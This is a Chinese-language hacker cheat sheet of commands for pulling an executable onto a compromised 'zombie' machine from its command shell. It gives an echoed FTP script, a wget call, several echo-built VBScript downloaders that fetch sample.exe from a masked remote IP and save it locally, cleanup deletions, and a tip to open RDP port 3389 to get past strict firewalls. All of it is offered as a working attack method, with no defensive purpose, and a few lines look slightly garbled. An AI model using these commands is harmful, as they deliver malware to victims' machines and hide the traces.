ftp法 
　　肉鸡cmd中执行： 
　　echo open ftp服务器ip [端口]>ftp.txt 
　　echo username>>ftp.txt 
　　echo password>>ftp.txt 
　　echo get sample.exe>>ftp.txt 
　　echo bye>>ftp.txt 
　　ftp -s:ftp.txt 
　　del ftp.txt 

　　工具法 
　　利用wineggdrop的wget.exe 
　　肉鸡cmd中执行：wget 网站/sample.exe 

　　利用dl.vbe法 
　　肉鸡cmd中执行： 
　　echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe 
　　echo set aso=.createobject("adodb.stream"):set web=createobject　　　　("microsoft.xmlhttp") >>dl.vbe 
　　echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe 
　　echo aso.type=1:aso.open:aso.writeweb.responsebody:aso.saveto file .arguments(1),2:end with >dl.vbe 

　　cscript dl.vbe http://*。*。*。*:88/sample.exe sample.exe 

　　利用iget.vbe法 
　　方法同4， 
　　肉鸡cmd中执行： 
　　echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe 
　　echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe 
　　echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe 
　　echo xPost.Open "GET",iRemote,0 >>iget.vbe 
　　echo xPost.Send() >>iget.vbe 
　　echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe 
　　echo sGet.Mode = 3 >>iget.vbe 
　　echo sGet.Type = 1 >>iget.vbe 
　　echo sGet.Open() >>iget.vbe 
　　echo sGet.Write(xPost.responseBody) >>iget.vbe 
　　echo sGet.SaveToFile iLocal,2 >>iget.vbe 

　　cscript iget.vbe http://*。*。*。*/sample.exe sample.exe 

　　利用Http网站vbe法 
　　echo Set xPost = CreateObject("Microsoft.XMLHTTP") >dsa.vbe 
　　echo xPost.Open "GET","http://*.*.*.*/sample.exe",0 >>dsa.vbe 
　　echo xPost.Send() >>dsa.vbe 
　　echo Set sGet = CreateObject("ADODB.Stream") >>dsa.vbe 
　　echo sGet.Mode = 3 >>dsa.vbe 
　　echo sGet.Type = 1 >>dsa.vbe 
　　echo sGet.Open() >>dsa.vbe 
　　echo sGet.Write(xPost.responseBody) >>dsa.vbe 
　　echo sGet.SaveToFile "sample.exe",2 >>dsa.vbe cscript dsa.vbe 
del dsa.vbe 

　　3389法 
　　可以开3389，然后登陆，进行本地的下载。该方法对服务器上传很严格的机器特有效。（包括硬件防火墙）